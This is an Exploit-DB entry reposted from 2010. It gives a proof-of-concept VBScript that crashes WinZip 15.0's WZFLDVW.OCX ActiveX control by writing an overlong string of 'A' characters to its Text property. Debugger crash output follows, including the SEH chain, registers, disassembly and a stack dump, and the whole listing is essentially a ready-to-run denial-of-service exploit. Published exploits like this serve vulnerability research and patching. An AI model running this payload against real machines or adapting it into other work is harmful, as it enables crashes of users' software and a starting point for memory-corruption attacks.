WinZip 15.0 – WZFLDVW.OCX Text Property Denial of Service

  • 作者: Fady Mohammed Osman
    日期: 2010-12-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15694/
  • # Exploit Title: Winzip WZFLDVW.OCX text property access violation
    # Author: fady mohamed osman
    # Software Link : http://www.winzip.com/downwz.htm
    # Version:15.0 (Build 9334)
    # Tested on: Win XP Sp2
    # CVE : N/A
    
    # Website : http://www.darkmasters.co.cc/
    # Twitter : http://twitter.com/Fady_Osman
    
    <?XML version='1.0' standalone='yes' ?>
    <package><job id='DoneInVBS' debug='false' error='true'>
    <object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />
    <script language='vbscript'>
    
    
    'Wscript.echo typename(target)
    
    'for debugging/custom prolog
    targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"
    prototype= "Invoke_Unknown Text As String"
    memberName = "Text"
    progid = "FolderViewControl.TreeNode"
    argCount = 1
    
    arg1=String(1044, "A")
    
    target.Text = arg1
    
    </script></job></package>
    
    Exception Code: ACCESS_VIOLATION
    Disasm: 1643D05	PUSH DWORD PTR [ECX+20]
    
    Seh Chain:
    --------------------------------------------------
    1 	180B82F 	wzfldvw.ocx
    2 	180B8F0 	wzfldvw.ocx
    3 	73351571 	VBSCRIPT.dll
    4 	73350F38 	VBSCRIPT.dll
    5 	73351DA5 	VBSCRIPT.dll
    6 	7335119D 	VBSCRIPT.dll
    7 	7C8399F3 	KERNEL32.dll
    
    
    Called From Returns To
    --------------------------------------------------
    wzfldvw.1643D05 wzfldvw.16314E1 
    wzfldvw.16314E1 wzfldvw.1666F8C 
    wzfldvw.1666F8C wzfldvw.16434A0 
    wzfldvw.16434A0 VBSCRIPT.73313A78 
    VBSCRIPT.73313A78 VBSCRIPT.733139F6 
    VBSCRIPT.733139F6 VBSCRIPT.73304B01 
    VBSCRIPT.73304B01 VBSCRIPT.73306959 
    VBSCRIPT.73306959 VBSCRIPT.73301E55 
    VBSCRIPT.73301E55 VBSCRIPT.73303A76 
    VBSCRIPT.73303A76 VBSCRIPT.7330BE2A 
    VBSCRIPT.7330BE2A VBSCRIPT.7330BEB9 
    VBSCRIPT.7330BEB9 SCROBJ.5CE4915E 
    SCROBJ.5CE4915E SCROBJ.5CE4CF9C 
    SCROBJ.5CE4CF9C SCROBJ.5CE4D0E2 
    SCROBJ.5CE4D0E2 SCROBJ.5CE4B106 
    SCROBJ.5CE4B106 SCROBJ.5CE4B49F 
    SCROBJ.5CE4B49F 100BB36 
    100BB36 1005EFE 
    1005EFE 1005215 
    1005215 100492B 
    100492B 1004A89 
    1004A89 1003C7B 
    1003C7B KERNEL32.7C816D4F 
    
    
    Registers:
    --------------------------------------------------
    EIP 01643D05 -> 00000001
    EAX 0013EB1C -> 00000001
    EBX 00000000
    ECX BAADF00D
    EDX 01642B94 -> 18EBD88B
    EDI 00000008
    ESI 0013EB70 -> 01666F8C
    EBP 0013EB44 -> 0013EB6C
    ESP 0013EB10 -> 0000113F
    
    
    Block Disassembly: 
    --------------------------------------------------
    1643CF4	MOV EAX,[EBP+24]
    1643CF7	MOV [EBP-4],EAX
    1643CFA	LEA EAX,[EBP-28]
    1643CFD	PUSH EAX
    1643CFE	PUSH 0
    1643D00	PUSH 113F
    1643D05	PUSH DWORD PTR [ECX+20]	<--- CRASH
    1643D08	CALL [182CA6C]
    1643D0E	LEAVE
    1643D0F	RETN 20
    1643D12	MOV EDI,EDI
    1643D14	PUSH EBP
    1643D15	MOV EBP,ESP
    1643D17	SUB ESP,3C
    1643D1A	MOV EAX,[EBP+8]
    
    
    ArgDump:
    --------------------------------------------------
    EBP+8	BAADF00D
    EBP+12	00000001
    EBP+16	0019B05C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
    EBP+20	00000000
    EBP+24	00000000
    EBP+28	00000000
    
    
    Stack Dump:
    --------------------------------------------------
    13EB10 3F 11 00 00 00 00 00 00 1C EB 13 00 01 00 00 00[................]
    13EB20 0D F0 AD BA 00 00 00 00 00 00 00 00 5C B0 19 00[............\...]
    13EB30 D0 EB 13 00 00 00 00 00 00 00 00 00 08 EC 13 00[................]
    13EB40 00 00 00 00 6C EB 13 00 E1 14 63 01 0D F0 AD BA[....l.....c.....]
    13EB50 01 00 00 00 5C B0 19 00 00 00 00 00 00 00 00 00[....\...........]
    
    
    
    ApiLog
    --------------------------------------------------
    
    ***** Installing Hooks *****
    7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
    7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)